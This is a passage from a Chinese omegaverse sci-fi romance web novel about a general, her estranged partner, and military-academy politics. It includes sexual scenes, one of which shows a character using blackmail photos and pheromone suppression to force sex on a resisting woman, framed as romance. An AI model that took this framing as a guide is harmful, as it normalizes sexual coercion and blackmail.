一瞬间,巨大的恐慌攫取了她的心脏,几乎让她喘不过气来,上将大人最后的自尊彻底破碎,强忍了许久泪自脸颊滚落,声音都是无法控制的颤抖哭腔。 “青佩,别这样对我……到底……要我怎么做,你才能像从前一样?” 她说着早已泣不成声,泪流满面地看向宋青佩。 宋青佩倒是被她这个反应给惊到了,她只不过是有些不满明毓老是这么步步紧逼,莫名其妙吃醋,不把她说的话当回事,长期压抑下来,忍不住怼了她几句,没想到她居然……哭成这样。 一时间,她反而忘词了,想说什么都给忘了。 见她不说话,明毓更慌了,猛地扑过去,抱住了宋青佩的腰,仿佛抓紧了最后的救命稻草般,在她耳边低声乞求:“求你,再给我一次机会好不好?真的,你让我做什么都可以。” 如此卑微的上将大人,让宋青佩莫名地有些兴奋。 自从跟恢复记忆的明毓重逢后,她不管是因为两人的身份差距,还是矛盾,或是颂颂,她一直在压抑自己的本性,只有在被明毓逼得退无可退的时候,才会偶尔露出些尖锐的样子。 此刻面对紧紧抱着她,在耳边带着哭腔乞求的明毓,她忽然就忍不住想起了一贯不可描述的往事。当初对梦梦的时候,在床上就爱故意欺负她,看她露出那种要哭不哭,可怜巴巴的表情,委屈地说:姐姐,你欺负我…… 宋青佩恍然发觉,自己可能是有些变态基因在身上的,因为面对明毓这副哭泣示弱的模样,她没有任何心疼的想法,只觉得这样的上将大人别有一番……诱人,让她忍不住心动。 等她反应过来自己的想法,不禁吓了一跳,身上居然都有些开始发热。宋青佩没想到打脸来得如此快,她明明刚才还对明毓义正词严地说,让她别自欺欺人了。 完全不知道宋青佩心理活动的明毓,还沉浸在惶恐之中,害怕宋青佩会毫不客气地将她推开,她试探地将放在腰间的手收紧,再次颤声乞求:“说话好不好?青佩,我真的知道错了,我改,求你……再给我一次机会好不好?” 好,太好了。 回过神来的宋青佩,赶紧推开了她,生怕被发现异样啪啪打脸。 察觉到她的动作,怀中的人抱得死紧,宋青佩用了极大的力气才将她推开,明毓眼尾发红地看着她,却一句话也说不出了,仿佛死刑犯在等着最终的宣判。 宋青佩轻咳了两声,一本正经道:“明毓,我只是希望你能尊重我,可以把我说的话听进去,能够进行平等的交流。” 本以为会被赶出去的明毓,眸底熄灭的光一下子被点燃,难以置信地看着她,讷讷道:“我可……” “话别说这么早。”宋青佩打断她的话,“我之前说过的话,你哪句听进去了,依然还是我行我素。” “我……”明毓无法反驳,垂眸道:“我可以改。”仿佛怕宋青佩不信,她又重复了一句,“青佩,我真的可以改。” 仿佛是为了印证她的话般,宋青佩故意道:“好,我就先信你。那我们就从最简单的事情开始,以后,没有我的允许,你不能私自留在我的房间睡觉,这个可以做到吗?” 明毓神色颓丧地看着她,久久没有言语。 “可以吗?不能的话……” “不用……我可以。”明毓不甘心地哑声道。 看着她这副吃瘪的模样,宋青佩心底暗笑,看向她,下了逐客令:“那时间不早了,你回去睡觉吧,我也要休息了。” 明毓站着不动,两人对望片刻,仿佛一场无声的战争。 许久,明毓艰涩道:“我……我可以留在你房间睡吗?” “不可以。”宋青佩干脆道。 明毓: 宋青佩也不说话,就这么望着她。 最终,词穷的上将大人败下阵来,垂着肩膀往外走去,走到门口,她又不死心地停下,低声道:“怎么……才可以留下?” 这才对嘛! 长嘴就是好好说话的,这不就学会好好沟通了,而不是高高在上,别别扭扭的。 想到这,宋青佩歪头笑了笑:“叫姐姐。” 明毓: 她站在那里也不说话,也不走。 宋青佩就这么嘴角含笑地看着她,也不说话,好像回到了两人第一次因为喊姐姐对峙的时候,只是这一次她多了些主动的引导和耐心。 看出明毓就是拉不下脸,她低笑一声:“上将大人,只是喊声姐姐而已,只有我们两个人,不会有人听到的。” 仿佛就在等这个台阶,明毓最终还是转身走了回来。 她还穿着一身军装,双眸垂下,因为羞耻感让她的耳根爬上了绯红,她红唇张张合合,许久,终于闭上了眼睛,极其小声地喊了一声,“姐姐。” 细若蚊喃,几不可闻。 宋青佩感觉自己的身体又热了起来,信息素似乎也有些蠢蠢欲动。 她忽然觉得,在自己的易感期这样做不是一个明智的选择,这一刻她忍不住庆幸,好在她还可以控制,不至于像明毓发热期来时那样狼狈。 这一刻,她突然有些心疼曾经被发热期折磨的痛不欲生的明毓,那么骄傲的人,面对发热期要……还没心疼完,她又想到了明毓命令她标记她时的羞辱,心疼又没了,转变为了一种隐秘的冲动。 想要将眼前的人摁在身下,让她失控,求饶…… 身体更热了,宋青佩赶紧稳住心神,刻意压低了声音说:“时间不早了,睡觉吧。” 灯一下灭了。 黑暗中,只有两人窸窸窣窣翻身的声音。 明毓在黑暗中,睁眼偷偷看着旁边的人,刚才,她似乎感觉到了一丝信息素味道,虽然很淡,但是她确定自己没有弄错,宋青佩对她还是有感觉的。 是不是应该趁机做点什么? 上将大人犹豫着,总觉得机会难得,可又怕弄巧成拙。 宋青佩对自己的身体欲,望拥有很强的控制力,躺下没多久,心底起的旖旎想法就被她压了下去,翻了个身,准备睡觉。 如果某人的腿,不突然伸进她的被子在她身上乱蹭的话。 仗着夜色的掩护,明毓强压紧张的心跳,声音含糊地说:“我有点冷,能不能跟你一起睡?” 呵,还挺有礼貌,知道问问。 她刚才说这些话是让她这么用的吗?宋青佩简直要被气笑了,没说话。 在上将大人眼中,不说话就是默认,没拒绝就是同意。 于是,她的双腿先伸进了宋青佩的被子里,见她没动作,半个身体又得寸进尺地蹭了进去,直到最后,整个人水灵灵的躺进了宋青佩的被子。 直到此时,宋青佩才发现,明毓不知道何时把衣服都脱了。 **的那种。 她整个人试探的帖了上来,身体滚烫,将宋青佩刚刚压下去的欲,望又撩拨了起来,属于Alpha的信息素很快丝丝缕缕的涌了出来,很快在房间弥漫。 第一次挑起宋青佩的信息素,明毓又惊又喜,凑近宋青佩耳边,混合着温热的呼吸,故作惊讶:“你的易感期还没过去吗?毕竟你帮我解决了那么多次发热期,要不我帮你……” “好啊。” 明毓还没反应过来,只觉得后颈一凉。 腺体被指尖轻轻刮过,让她浑身一颤,她诧异地想要转头去看宋青佩,却被强势地按向一旁,让脖颈处脆弱的腺体暴露无遗。 忽然,她有些莫名的紧张,“青佩唔……” 一声惊呼中,灼热的唇附上了她的脖颈,将她所有的话堵回了喉咙。 这一刻,她才明白,之前宋青佩安抚她的时候都不过是敷衍了事,完全不如此刻强烈。 宋青佩的信息素虽然很淡,但怪异的强势,很快就让明毓整个人瘫软成水,仿佛风雨中摇曳的扁舟,本能的紧紧得抱住了宋青佩。 “呜,轻点啊……” 对于她这种欲拒还迎的求饶,宋青佩置若罔闻。 她有些失控,有记忆以来她极少这样,或许是因为第一次主动和恢复记忆的明毓亲密,高傲的人如此顺从臣服,也或许是因为两人纠缠了那么久,带着一种禁忌感,这都让她无法克制下来。 最终,她强势地将信息素注入明毓的腺体,感受着她的战栗。 明毓仿佛承受不住般,晕睡了过去…… 理智回笼,宋青佩不禁有些懊悔,似乎有些过分了。 可明毓的反应……也未免太过激烈了,这只是临时标记啊。 进入贤者时间的宋青佩懒得多谢,叹了口气,第一次主动抱着明毓睡了。 梦里,她似乎听到了有人软着声音说:姐姐,别欺负我…… —— 第二日,明毓醒来的时候发现人不见了,而旁边似乎还残留着余温。 她莫名地有些不高兴,就这么走了,明明昨天…… 现在想来,她浑身还忍不住发颤,那样有侵略性的宋青佩莫名让她有些害怕了,这就是Alpha对Omega天生的压制吗? 想到如果被完全标记,那她…… 明毓忍不住耳根发红,浑身下意识地抖了抖,仿佛有昨晚的余韵从身体残留下来,让她的身体再度发热。 此时,门忽然被推开,“起来了,吃饭吧。” 宋青佩半推开了门,并没有进来。 心虚的明毓,猛地拉过被子盖上,闷闷地说:“我知道了,这就下去。” 等她慢吞吞地穿上衣服下了楼,宋青佩已经在和颂颂坐到了餐桌前,看到她,颂颂热情地招呼:“妈咪~快来吃饭。” 明毓走过去,停顿了一下,故意坐到了宋青佩的旁边,颂颂的对面。 颂颂正在专心吃面包,见她坐下,正好看到明毓高高竖起的衣领露出一小片青紫的痕迹,不由好奇道:“妈咪,你脖子怎么了?” 宋青佩顿时有些心虚,沉默地撇开了眼。 明毓顿觉有趣,今天的宋青佩面对她似乎少了些底气,她的手指故意划过脖颈,故意笑道:“被猫咬的。” 颂颂睁大了天真的眼睛:“妈咪,我们家没养猫啊,你是不是偷偷去撸猫了啊,我也要撸” 这话说得宋青佩越发尴尬,只能催促,“好了颂颂,快吃饭,要迟到了。” 颂颂只能又撒娇说了几句要养猫猫,闷头吃饭,宋青佩有些无奈地看了明毓一眼,明毓坦然与她对视道:“吃完饭,我送你去上班吧。” 宋青佩点头,“好。” 饭后,颂颂宝贝懵了,妈咪居然真的只送妈妈,让别人送她去学校。 “呜呜~妈咪和妈妈这么好了吗?我是个多余的小可怜。” 见状,宋青佩哭笑不得,正想答应绕路先送颂颂去学校,没想到明毓忽然凑近颂颂耳边,不知道说了些什么。 颂颂猛地瞪大了眼,“真的?拉钩。” 明毓笑着点头,和颂颂拉钩,小家伙一蹦一跳地乖乖去上学了。 宋青佩不由好奇,“你跟她说什么了?” 明毓并没有回答,而是凑近她耳边,低语,“你喊我一声姐姐,就告诉你。” 对此,宋青佩表示,她不是这么好奇的人。 没理会明毓,她直接往外走,明毓追了上来,两人一起上了悬浮车。 车上,明毓似乎还不死心,再次道:“你真的不想知道我对颂颂说了什么吗?” 宋青佩强压心中好奇,淡定地摇了摇头。 明毓对此似乎十分挫败,顿时没了兴致,直接公布了答案:“我答应了颂颂给她买只猫,周末有空,我们一起去挑一只送给她吧。” 见如此轻易忽悠出答案,宋青佩内心憋笑,点头答应。 抬眸时,她不经意间掠过明毓脖子上痕迹,忍不住伸手帮她拉了一下军服的衣领,颇为懊恼道:“抱歉,昨晚……我有些失控,你要不要找东西遮一下。” 明毓反应过来她指的什么,不在意道:“这算什么,他们总不敢到我跟前乱说。”顿了一下,转而道:“倒是你,昨晚为什么这么……这么激动?这可不像你啊。” 难得碰到可以反将宋青佩一军的时候,明毓故意继续暧昧的话题,试图让她说出些自己想听的话,比如她其实是有点喜欢她的,哪怕是一点点也好。 明毓神色期待地看着她,宋青佩笑道:“上将大人这么诱人,又如此主动,我要是再这么冷淡,未免也太不解风情了。” 这有些不正经的样子,让明毓怔了怔。 等她反应过来,才发现宋青佩这是在调戏她,耳根不由一红。 她正试图说些什么来找回场子,宋青佩已经极快地转移了话题,“对了,你军校的事情还顺利吗?好不好解决?” 这不过是她顺口提的话茬,偏偏上将大人是个认真的人,难得见宋青佩主动询问她的工作,立刻就在不涉密的情况下,简单跟她说了一下情况。 听完,宋青佩不由诧异道:“这次乌局长怎么会这么卖力地帮你?” 明毓难得露出得意的神色,笑道:“因为她有把柄在我手上,而且我们的利益是一致的。” 宋青佩很有分寸,知道不方便再问下去了,于是没再继续这个话题。 两人又说了些关于颂颂的事,气氛很是融洽。 明毓第一次觉得,路上的时间这么短,宋青佩下车前,她又特意叮嘱道:“青佩,慕容瑞雪的事情不用太冒险,你的安全是最重要的。” “我知道。” 目送宋青佩离开,明毓这才去了军部。 下了车,她感觉整个人神清气爽,甚至难得主动和路过的下属打了个招呼,一时间震惊整个军部,几乎大半个军部的人都知道了。 今天,明上将的心情很好。 进了办公室,明毓坐下开始处理公事,十分认真专注,但只要认真观察就会发现,只要一停下,她的指尖就会无意识地摩挲着军装领口处。 想到宋青佩昨晚趴在她脖颈处,那缕若有若无的雪松香,那样强势的占有,不可能是她的错觉,她一定是喜欢她的。 上将大人再度开始自我催眠,只要她再努力一点,一定可以让宋青佩重新爱上她的。 一定可以的。 “明上将,总统请您去会议室。”林中尉的声音传来,打断了她的思绪。 明毓立刻收回思绪,恢复了一本正经的模样,转身走向会议室。 推开门的那一刻,她看到会议室里面十来位议员,而战南笙手指在全息投影上快速滑动,学员的数据在空气中闪烁。 总统战笠坐在主位,眼神冷峻。 “明上将,请坐。”战笠的声音不带一丝温度。 明毓在战南笙对面坐下,目光扫过全息投影上的名单。 那两个被标注的Omega名字依旧刺眼,旁边还新增了详细的数据分析:精神力波动曲线、基因序列、体质评估。 “明上将,战中将提交的证据显示,这些Omega的精神力并不适合军校的高强度训练。”战笠问道:“您有什么要解释的吗?” 明毓挺直脊背,指尖在桌面上轻轻敲击:“总统阁下,我认为选拔标准不应只局限于精神力。这些Omega在实战中表现出色,完全有能力为联邦做出贡献。” 战南笙冷笑一声,手指在桌面上重重一敲:“贡献?明上将,Omega体质天生孱弱这一点是无可争辩的,没必要为此浪费军校的资源。” 本以为战南笙昨天的表态已经妥协,没想到她会这么快反悔,还直接公权私用地闹到了她父亲面前。 明毓努力压制住内心的怒火:“我已经计划为这些Omega制定特殊的训练计划,确保她们能在安全范围内完成训练,这样既能保证她们的职业发展,又能避免不必要的风险。” “我反对!”战南笙依旧道,“明上将,您这是在浪费联邦资源!难道Omega不生育了?” 明毓冷笑一声,目光直视战南笙:“这个我也考虑到了。并且来之前,已经与两位学员进行过沟通,35岁之前,她们不会生育孩子。” “不过话说回来……难不成生个孩子的一年半载,就能影响到军事学院,乃至联邦的未来?那么多优秀的Alpha,怎么就容不下修养一年的Omega?” 战南笙闻言一时语塞,脸色铁青:“但是精神力A级的,绝对不允许……” “嗯,这个也可以商议。”明毓点头同意:“进入学校的学员,精神力操作至少得是S级别的。如果在某一方面能力特别突出的,经过学校讨*论批准,可以适当放置A级别,这样主要是怕流失人才。” 明毓抬手点开这两个A级Omega的资料:“一位熟悉所有星际语言,甚至一些小语种也会,这对我们征战星际,破译星球语言很有利。” “还有这个,星球结构地质专家……” 最终,经过激烈讨论,会议通过了明毓的提议。 进入军事学院的Omega必须签署协议,承诺三十岁之前不生育,并且精神力必须达到S级别,一些有特殊能力的可以适当放宽限制。 虽然有些不平等,但这已经是最好的结果了。 会议结束后,议员们和战南笙离开后,只剩下明毓和战笠。 战笠有些无奈:“你知道的,明毓,我是支持你的。但是……这个世界对Omega的误解还是很严重,所以想要改变,还得靠你们年轻人自己。” “我明白。”明毓道:“这一切要有个过程,感谢总统阁下的支持。” 闻言,战笠叹气道:“明上将,你成熟稳重,以后还请对南笙多包容。她脾气……是急了些,我在家里也批评过,但是……算了,你们年轻人的事情,你们年轻人自己磨合吧。” 战笠摆摆手,明毓转身离去。 战笠回了总统府,进去,就看到战南笙坐在会客沙发上还在翻阅着那些人的资料。 “父亲,我觉得刚才没发挥好,我……” “够了,你什么时候才能懂点事?都已经中将了,怎么这么不稳重。今天开会以为是你们确定好了名单,结果,你却公然跟明毓对着干!这不是明明白白地告诉所有人,军校没开办,你俩就不和,这不是让人看笑话。” “那又怎么了,她做得本来就不对。” “你这脾气,真是……” 战笠叹息一声,手指划过悬浮的学员名单,恨铁不成钢道:“你以为明毓只是单纯地在帮Omega出头?看看她保下的学员——” 光点突然炸开成密密麻麻的基因链,“第三舰队参谋官秦晚,她父亲是五大家族——秦家的首席基因工程师;还有医疗官慕容棠,她是元帅的孙女……明毓这是在用军校名额换取这些家族的支持,试图登顶元帅。” “你竟然……还在因为一点小事和明毓争斗,你什么时候才能想到这一点,收起你好勇斗狠的心,踏踏实实做事。” 被说的破防的战南笙,气急败坏,“在你眼里,我反正总是不如明毓的,既然如此,你还不如跟她奶奶一样,给我植入思想钢印呢,这样我就能按照你要求的成长了。” “你……你想气死我是不是?”战笠差点厥过去。 就在这时候,乌澜推门进来,战南笙应激一般沉默了。 乌澜先是看了战南笙一眼,先是劝说总统战笠不要生气,语气温和道:“您别动怒,大小姐年轻气盛,难免有些冲动。” 战笠气得摆手,脸色铁青:“让她滚出去!我懒得再管她!” 战南笙闻言,脸色一沉,转身就要离开。 乌澜却伸手拦住了她,语气平静却透着不容拒绝:“大小姐,别急着走,总统正在气头上,你先冷静一下。” 仗着在她父亲面前乌澜不敢乱来,战南笙冷哼一声,甩开她的手:“滚!不用你管!” 乌澜不以为意,转而看向战笠,简单报告了工作进展:“总统,慕容瑞雪那边的调查暂时没有新的进展,我们还在继续跟进。” 战笠点了点头,脸色稍微缓和了一些,但依旧带着怒意:“行了,我知道了。你先带她出去,别在这里气我。” “好,我会好好劝劝大小姐的。” 乌澜应了一声,随后转身对战南笙说道:“大小姐,我们走吧。” 两人一前一后走出办公室。 战南笙心里清楚,自己之前在军校招生的事情上反悔,乌澜肯定不会轻易放过她。她心里有些发虚,转身就想溜走,却被乌澜一把拉住。 乌澜凑近她耳边,声音低沉,“大小姐,您这是要去哪儿?难道是想让我把那些‘诱人’的照片传得全星际都是吗?” 战南笙脸色一变,咬牙切齿地瞪着乌澜:“你敢!” 乌澜微微一笑,“你觉得我敢不敢?” 战南笙气得浑身发抖,却又无可奈何,那些照片一旦传出去,就全完了。 她只能强压下心中的怒火,跟着上了乌澜的悬浮车。 上车的时候,战南笙本能地发颤,她故意远离乌澜,用大声掩饰自己的胆怯:“乌澜,我告诉你,你别得寸进尺,我……我不可能一直被你威胁的。” 乌澜启动悬浮车,淡淡地看了她一眼:“大小姐,您之前答应我的事情,怎么突然反悔了?这可不像你的作风。” “我反悔又怎么样?”战南笙冷哼一声,别过头去,“军校招生的事情本来就不该由你插手,你凭什么帮明毓。别忘了,当初可是我家资助你上的学,我父亲将你一手提拔上来,你居然恩将仇报,你个混蛋!猪狗不如的东西,你竟然敢这么对我……” 她越骂越凶,到最后近乎崩溃。 对于她这番撒泼,乌澜置若罔闻,甚至还恶劣的笑了笑: “大小姐,留点力气,待会去床上骂吧。”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 哭哑也不停 在战南笙的骂声中,乌澜直接带着她回了自己住的地方。 战南笙彻底怂了,她死死地咬着唇,坐在车上一动不动,说什么也不肯下车。 乌澜见状,双臂怀胸,笑道,“大小姐,下车吧。” “……不。” 在乌澜试图凑近的时候,她本能地往里面躲了躲。好像被逼到绝境的小兽,一路上张牙舞爪的,此刻尖牙与利爪尽数被拔去,她瞬间连吼叫的勇气也没了。 “快点下车。” “不。” “我再说一遍,下车。”乌澜声音中暗含警告。 战南笙咬着下唇,倔强反驳:“我不下,你有话在车上说就行。” 见她死活不动,乌澜被气笑了,看来是把人给吓惨了。不过正好,这就是她要的后果,知道怕了就好,知道怕才不会老是没事找事。 于是,她决定再加一把火,俯身凑近战南笙,将她逼到角落里,坏笑着说:“大小姐,你是想试试车……震吗?” 战南笙猛地瞪大了眼,不可置信地看着她,仿佛在安慰自己般,低声喃喃道:“你你你……你混蛋,你不敢这样的。” 仿佛是为了回应她的话,乌澜什么也没说,而是直接伸手去扯她军服。 指尖刚触到战南笙的衣领,她就像被踩了尾巴的猫,猛地站起来,用尽全身的力气将乌澜推开,惊魂未定地瞪着乌澜。 更怕她恼羞成怒,真的胆大妄为的在车里…… 乌澜始料不及,被她推得一个趔趄,却没有恼怒,只是站稳后下了车,凉飕飕地对车上的战南笙道:“赶快下来,别让我说第三遍。” 战南笙反抗的勇气全都在刚刚消耗殆尽,她心里暗自骂着混蛋,却还是乖乖下了车,跟在乌澜身后,默默进了电梯。 电梯里,乌澜一言不发,不知道在想些什么。 战南笙心里越发忐忑,想到乌澜手里的视频,还有花样百出折腾她的手段,越发觉得绝望,她不能就这么一直被拿捏…… 她已经可以想到,待会进了房间,等待她的会是什么。 一向骄傲强势的战南笙,此刻也不由起了忍辱求和的心思。 她咬了咬唇,低声打破沉默,“乌……乌澜,之前给你下药是我不对,但是我现在也受到惩罚了,你差不多够了吧。只要你答应毁掉视频,我就当作这事没有发生过,绝不会跟我父亲说一个字,还会让父亲给你升职,只要你别再对我……”后面的话她说不下去了。 抬起头,她去观察乌澜的反应,发现她一副完全不为松动的模样。 乌澜一直专注的盯着电梯的号码,直到停在16楼,电梯门打开。 她漫步走了出去,看都没看战南笙,仿佛笃定她会跟上来一样。 而战南笙确实跟了上去,仿佛在做最后的挣扎,嘴里说个不停:“乌澜,除了给你下药,我从来没做过对不起你的事吧,你何必赶尽杀绝。” “现在你是我爸重点培养的人,我们以后有大把合作的机会,何必把关系弄得这么僵,你……你真的不能再那么对我。” “你忘了之前在学校,你被人霸凌,是我帮你……” 乌澜打开门,将人拉进去,直接摁在了门上,动作一气呵成。 战南笙未说完的话尽数被堵了回去,因为她的腺体已经被乌澜按住,她咽了下口水,颤声道:“乌澜,别……别这样。” 乌澜并没有立刻对她做什么,而是慢条斯理地笑道:“大小姐,你以为我不知道你的那些拙劣手段吗?当初我被霸凌,不就是你安排的吗?到时候你好英雄救美,让我对你感恩戴德,甚至以身相许。现在……不是如你所愿了吗?” “你……你早就知道了!” 战南笙脸色涨红,仿佛被戳中了内心最敏感的那根弦,羞愧得无地自容。 怎么可能不知道呢? 灿若玫瑰般骄傲的大小姐,从十几岁就在想尽办法吸引她的注意力,因为背负的东西实在太多,她并不想与这位大小姐扯上什么关系,一直在隐忍躲避,没承想她居然越发得寸进尺了。 这么多年了,一点长进也没有,居然还敢给她下药。 要不是她警惕性强,恐怕还真着了她的道,居然如此作死,那就别怪她了……乌澜眸中闪过一抹晦涩,随即恢复平静。 她捏着战南笙的下巴,强迫与她对视,戏谑道:“大小姐,承认吧,你喜欢我。” 被戳中心事的战南笙已经彻底蔫了,甚至没了反抗的力气。 任由乌澜将她从门口,一路拉到卧室,摁在床上,摆出一个俯趴的羞耻姿势,她才哆哆嗦嗦的反应过来,开始挣扎:“放开我!你个混蛋!” 她挣扎得太厉害,乌澜的脖子甚至被她挠出了好几个血道子。 乌澜只得释放了大量的信息素,在信息素的压制下,哪怕是战南笙不情愿,却不得不瘫软了身体,任由她为所欲为。 战南笙被迫摆弄出羞耻的姿势,羞愤欲死,更多的是心底蔓延而上的绝望与愤怒,乌澜明知道她喜欢她,却还是要这样作践她。 一瞬间,酸涩感袭上心头,泪无声地滑落,顺着侧脸滴到了乌澜的手背上,乌澜立刻停下了动作,将她翻过身来,看着她红通通的眼睛,有些诧异:“大小姐,怎么还哭上了?” 那种贱兮兮的语气听得战南笙想打人,她也这么做了,只不过手刚刚抬起,就被乌澜握住了,她挣脱不得,色厉内荏地骂:“你个混蛋!到底想怎么样?不就仗着我喜欢你……”说到最后,忍不住带了哭腔。 “我想怎么样?”乌澜笑道:“不应该是大小姐想怎么样吗?我一直在配合大小姐你啊,毕竟你这么费尽心机激怒我,不就是想让我标记你吗?” “你放屁!” 战南笙的骂声在房间里回荡,带着羞愤和无力。 乌澜却丝毫不为所动,反而在她的骂声中,动作愈发坚定。 她低头咬住战南笙的腺体,信息素如潮水般涌入,强势而霸道,不容抗拒。 战南笙的身体猛地一颤,手指紧紧攥住床单,她想挣扎,想推开乌澜,可身体却不受控制地软了下来,仿佛被抽走了所有的力气,声音也从一开始的怒骂逐渐变得破碎,最后只剩下断断续续的呜咽和哭腔。 乌澜的动作没有丝毫温柔,仿佛要将她所有的骄傲和倔强都碾碎,直到战南笙的嗓子都哭哑了,才终于停了下来。 房间里安静得只剩下两人的呼吸声。 战南笙瘫软在床上,胸口剧烈起伏,仿佛刚刚经历了一场生死搏斗。 乌澜坐在床边,低头看着她,眼神复杂,却什么也没说。 过了许久,战南笙才缓过神来。 她猛地坐起身,抬起脚狠狠踹了乌澜一下,声音沙哑中带着怒意:“混蛋,你到底把我当什么了?” 乌澜被踹得微微侧身,却并没有生气,反而勾起嘴角:“大小姐想当什么?女朋友吗?” 战南笙被她这副模棱两可的态度气得牙痒痒,抬手又想打她,却被乌澜一把抓住手腕。她挣扎了两下,没挣脱,只能瞪着她,狠狠道:“你也喜欢我对不对?为什么还要这么对我?” 乌澜轻笑一声,凑近她耳边,“大小姐不就喜欢这样吗?难道不爽吗?” “你!”战南笙气得脸色通红,愤愤地骂道:“你个混蛋!放开我!” 乌澜却没有松手,反而将她拉近,语气突然变得严肃正经起来:“战南笙,你已经是中将了,不要再这么意气用事。” 战南笙哼了一声,没说话。 乌澜叹了口气,劝道:“你父亲说的没错,你真的该改改你争强好胜的性子。你是你,没必要事事跟明毓比。” 听到“明毓”这个名字,战南笙的身体微微一僵,眼中的怒意渐渐被一种复杂的情绪取代。乌澜的话戳中了她内心最敏感的地方,她一直活在明毓的阴影下,无论做什么,都会被拿来和明毓比较。 父亲的期望、同僚的目光,都像一座座大山压在她肩上,让她喘不过气来。 乌澜见她沉默,伸手揉了揉她的头发,语气缓和了些:“大小姐,你已经很好了,没必要总是跟自己过不去。” 战南笙抬起头,眼眶还有些发红,但眼神已经不再像刚才那样充满敌意。她看着乌澜,低声问道:“你真的这么觉得吗?” 乌澜点点头,难得认真:“当然,你很优秀。” 战南笙抿了抿唇,这才开口道:“我知道你想说什么,不就是想劝我别跟明毓起冲突嘛,我明白你跟父亲的意思了。你放心,我会跟明毓好好合作,用实力证明自己的。” “这才像话。”乌澜笑了笑,起身道:“那你先休息会儿,然后跟你父亲道个歉,我还有事要去处理,先走了。” 战南笙别过头去,嘟囔道:“谁稀罕你多管闲事……” 乌澜轻笑一声,转身朝门外走去,走到门口时神色瞬间变得讳莫如深。 真是个好骗的大小姐啊,都有些不忍心利用她了。 —— 军部大楼内,明毓正坐在办公桌前,专注地处理着手中的文件。 办公室的门被推开,宋惜寒大步走了进来。 “我听说战南笙今天在会议上吃了大亏,气得脸都绿了。”宋惜寒毫不客气地坐在明毓对面的椅子上,翘起二郎腿,语气中带着几分幸灾乐祸,“这下她应该能消停一段时间了吧?” 明毓语气平静:“她一向固执,这次虽然暂时妥协,但未必会就此罢休。” 宋惜寒耸了耸肩,不以为意:“反正她这次是栽在你手里了,短时间内应该掀不起什么风浪。”她说着,目光不经意间扫过明毓的脖颈,突然顿住,眼中闪过促狭的笑意。 “哟,你这脖子上……”她故意拉长了声音,语气中满是调侃。 明毓瞪了宋惜寒一眼,语气中带着警告:“宋惜寒,你再多嘴,我不介意让你去边境待几个月。” “好好好,我不说了,不说了。” 明毓懒得再理她,低头继续处理文件。 宋惜寒见状,也不再调侃,转而说起正事:“对了,我奶奶的七十大寿快到了,家里准备好好办一场,你到时候可得来捧场。” 明毓闻言,手中的笔顿了顿,神色认真道:“你奶奶的寿诞,自然是要好好办的。不过……她老人家恐怕并不会太高兴吧?” 宋惜寒的神色也一暗,叹了口气:“是啊,她老人家虽然嘴上不说,但心里肯定不好受。这次寿诞,意味着她要从元帅的位置上退下来了。她一辈子都在为军部效力,突然要退下来,心里难免会有落差。再加上……我那两个姑姑的事……” 提到宋家的两位姑姑,宋惜寒的声音低沉了下来。 宋家曾经是联邦最显赫的六大家族之一,但宋惜寒的两个姑姑,一个嫁给了前总统容岑被逼得自杀,另一个则神秘失踪,至今杳无音信,这也导致宋家多年来只靠宋惜寒奶奶这个名义上的元帅撑着,其实早就日渐式微,被军部边缘化。 见宋惜寒神色黯然,明毓安慰道:“你奶奶为联邦付出了这么多,退下来也好,让老人家休息休息。至于你姑姑的事……时间会冲淡一切的。” 宋惜寒苦笑了一下,摇了摇头:“希望吧。”她顿了顿,似乎不想再继续这个话题,转而说:“对了,晚上有空吗?一起出去吃个饭吧,正好商量一下给我奶奶办寿诞的事。” 明毓点了点头:“好。” “那要不要叫上宋青佩,人多热闹。”宋惜寒提议。 明毓瞥了她一眼,“不用你说,我一会给她发消息。” 宋惜寒哈哈大笑,“你们的感情进展挺快啊!看来我表妹的那些‘好东西’确实帮了你不少忙。” 明毓瞪她:“宋惜寒,你是不是真的想去边境待几个月?” “好了,不说了。”宋惜寒立刻收声,起身道:“你忙,我先走了。” 明毓冷哼一声,没理她,低头继续处理文件。 —— 蓝海研发办公室。 慕容瑞雪步履匆匆地走到宋青佩的工位前,轻轻敲了敲她的桌面。 宋青佩抬起头,见是慕容瑞雪,微微一愣:“瑞雪姐,怎么了?” “青佩,跟我再去一趟鱼跃号的维修基地吧。” “鱼跃号?”宋青佩不由疑惑道:“那台机甲的智脑不是已经确认修不好了吗?怎么还要去?” 慕容瑞雪语气中带着几分急切:“有新发现!昨天我们检测到鱼跃号的智脑突然有了波动,虽然很微弱,但确实存在。我觉得这可能是个突破口,说不定能修复它。” 听到“智脑波动”四个字,宋青佩的眼睛也瞬间亮了起来。 她对机甲的热爱几乎刻在骨子里,尤其是像鱼跃号这样稀有的特级战斗型机甲,更是让她心驰神往。 她几乎没有犹豫,立刻站起身:“好,我们走。” 两人再次驱车前往那个偏僻的仓库。 一路上,慕容瑞雪时不时地瞥一眼宋青佩,似乎在观察她的反应。而宋青佩则沉浸在对鱼跃号的期待中,完全没有注意到慕容瑞雪的目光。 到达仓库后,慕容瑞雪输入密码,厚重的金属门缓缓打开。 宋青佩刚一走进去,就被眼前的景象震撼到了。 鱼跃号已经被重新涂装,原本冷峻的机身此刻焕然一新,外壳上覆盖了一层流动的银色涂层,仿佛月光下的水波,泛着幽幽的光泽。最引人注目的是机甲的头部,封闭的面罩张开,露出里面闪烁着光芒的智脑核心,仿佛一只沉睡的巨兽正在苏醒。 “这……这是鱼跃号?”宋青佩难以置信地走近几步。 慕容瑞雪走到她身旁,语气中带着几分自豪:“没错,我们昨天检测到智脑波动后,立刻对它进行了全面改装。” 宋青佩听得入神,忍不住问:“那智脑现在是什么状态?能唤醒吗?” 慕容瑞雪笑道:“这正是我让你过来的原因。昨天智脑波动的时候,我们注意到它的反应似乎与你的精神力有关。所以,我想请你再试一次,用精神力入侵智脑,看看能不能唤醒它。” “可是上次我不是被攻击了吗?这次会不会有危险?”宋青佩不免有些担心。 慕容瑞雪拍了拍她的肩膀,安慰道:“放心,这次我们做了充分的准备。你穿上防护服,我会在旁边全程监控。如果有什么异常,我会立刻切断连接。” 宋青佩沉思片刻,最终还是抵挡不住对机甲的好奇与热爱,点了点头:“好,我试试。” 慕容瑞雪立刻拿来一套特制的防护服,帮宋青佩穿上。 一切准备就绪后,宋青佩深吸一口气,缓缓释放出自己的精神力,缓缓渗入智脑核心。 起初,一切都很平静。 然而,就在她的精神力即将触碰到智脑核心的瞬间,一股强大的吸力突然传来,将她的精神力猛地拉了进去。 